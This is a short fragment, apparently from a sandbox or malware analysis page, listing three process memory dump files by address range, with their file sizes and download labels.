memory/4112-2-0x0000000071470000-0x0000000071C20000-memory.dmp

Filesize
7.7MB

Download
memory/4864-96-0x0000000007820000-0x00000000078BC000-memory.dmp

Filesize
624KB

Download
memory/4864-95-0x0000000007570000-0x000000000777C000-memory.dmp

Filesize
2.0MB

Download